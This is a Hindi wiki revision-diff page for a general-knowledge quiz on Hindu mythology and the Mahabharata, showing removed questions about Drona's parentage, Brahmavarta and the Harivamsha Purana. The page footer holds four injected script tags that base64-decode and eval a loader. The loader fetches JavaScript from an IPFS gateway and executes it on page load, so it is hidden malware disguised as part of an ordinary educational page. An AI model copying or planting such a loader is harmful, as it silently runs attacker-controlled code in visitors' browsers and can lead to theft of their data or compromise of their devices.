|
|
पंक्ति 7: |
पंक्ति 7: |
| | | | | |
| <quiz display=simple> | | <quiz display=simple> |
− | {महर्षि [[भृगु]] की पत्नी का नाम क्या था?
| |
− | |type="()"}
| |
− | +पुलोमा
| |
− | -[[अनुसूया]]
| |
− | -[[दिति]]
| |
− | -[[अरुन्धती]]
| |
− |
| |
− | {निम्नलिखित में से कौन [[श्रीकृष्ण]] के [[नाना]] थे?
| |
− | |type="()"}
| |
− | -[[चित्ररथ]]
| |
− | -[[शशबिन्दु]]
| |
− | -[[कंस]]
| |
− | +[[देवक]]
| |
− |
| |
− | {[[सरस्वती नदी|सरस्वती]] और [[दृषद्वती नदी|दृषद्वती]] नदियों के बीच का भाग क्या कहलाता था?
| |
− | |type="()"}
| |
− | -[[आर्यावर्त]]
| |
− | +[[ब्रह्मावर्त]]
| |
− | -[[पंचनद (महाभारत)|पंचनद]] क्षेत्र
| |
− | -[[अच्युतस्थल]]
| |
− | ||[[चित्र:Saraswati-River.png|right|120px|सरस्वती नदी]][[वैदिक काल|वैदिक]] तथा परवर्ती काल में [[ब्रह्मावर्त]] [[पंजाब]] का वह भाग था, जो [[सरस्वती नदी|सरस्वती]] और [[दृषद्वती नदी|दृषद्वती]] नदियों के मध्य में स्थित था। मेकडानेल्ड के अनुसार- दृषद्वती वर्तमान '[[घग्घर नदी|घग्घर]]' या 'घागरा' है। प्राचीन काल में यह [[यमुना नदी|यमुना]] और सरस्वती नदियों के बीच में बहती थी। [[कालिदास]] ने [[मेघदूत]] में [[महाभारत]] की युद्धस्थली [[कुरुक्षेत्र]] को 'ब्रह्मावर्त' में माना है। अगले पद्य 51 में कालिदास ने ब्रह्मावर्त में सरस्वती नदी का वर्णन किया है।{{point}}अधिक जानकारी के लिए देखें:-[[ब्रह्मावर्त]]
| |
− |
| |
− | {निम्नलिखित में से [[द्रोणाचार्य]] के [[पिता]] कौन थे?
| |
− | |type="()"}
| |
− | -[[अंगिरा]]
| |
− | -[[अगस्त्य]]
| |
− | +[[भारद्वाज]]
| |
− | -[[कश्यप]]
| |
− | ||[[द्रोणाचार्य]] [[भारद्वाज|भारद्वाज मुनि]] के पुत्र थे। ये संसार के श्रेष्ठ धनुर्धर थे। महर्षि भारद्वाज का वीर्य किसी 'द्रोणी' (यज्ञकलश अथवा [[पर्वत]] की गुफ़ा) में स्खलित होने से जिस पुत्र का जन्म हुआ, उसे 'द्रोण' कहा गया। ऐसा उल्लेख भी मिलता है कि भारद्वाज ने [[गंगा]] में [[स्नान]] करती घृताची को देखा। आसक्त होने के कारण जो वीर्य स्खलन हुआ, उसे उन्होंने 'द्रोण' (यज्ञकलश) में रख दिया। उससे उत्पन्न ही बालक द्रोण कहलाया।{{point}}अधिक जानकारी के लिए देखें:-[[द्रोणाचार्य]]
| |
− |
| |
− | {[[हरिवंश पुराण]] में तीन पर्व हैं। इन पर्वों में कुल कितने अध्याय हैं?
| |
− | |type="()"}
| |
− | -321
| |
− | -311
| |
− | -351
| |
− | +318
| |
− | ||[[चित्र:Puran-1.png|right|120px|पुराण]]सम्पूर्ण [[महाभारत]] 18 पर्वों में विभक्त है। कई पर्व बहुत बड़े हैं और कई पर्व बहुत छोटे। अध्यायों में भी श्लोकों की संख्या अनियत है। किन्हीं अध्यायों में 50 से भी कम [[श्लोक]] हैं और किन्हीं-किन्हीं में संख्या 200 से भी अधिक है। लक्षश्लोकात्मक महाभारत की सम्पूर्ति के लिए इन 18 पर्वों के पश्चात 'खिलपर्व' के रूप में '[[हरिवंश पुराण]]' की योजना की गयी है। हरिवंश पुराण में 3 पर्व हैं- 'हरिवंश पर्व', 'विष्णु पर्व' और 'भविष्य पर्व'। इन तीनों पर्वों में कुल मिलाकर 318 अध्याय और 12,000 श्लोक हैं। महाभारत का पूरक तो यह है ही, स्वतन्त्र रूप से भी इसका विशिष्ट महत्त्व है।{{point}}अधिक जानकारी के लिए देखें:-[[महाभारत]]
| |
− |
| |
| {वभ्रुवाहन किसका पुत्र था? | | {वभ्रुवाहन किसका पुत्र था? |
| |type="()"} | | |type="()"} |
11:03, 2 मार्च 2017 के समय का अवतरण
सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ने पर जाएँ
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59
पन्ने पर जाएँ
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59
सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>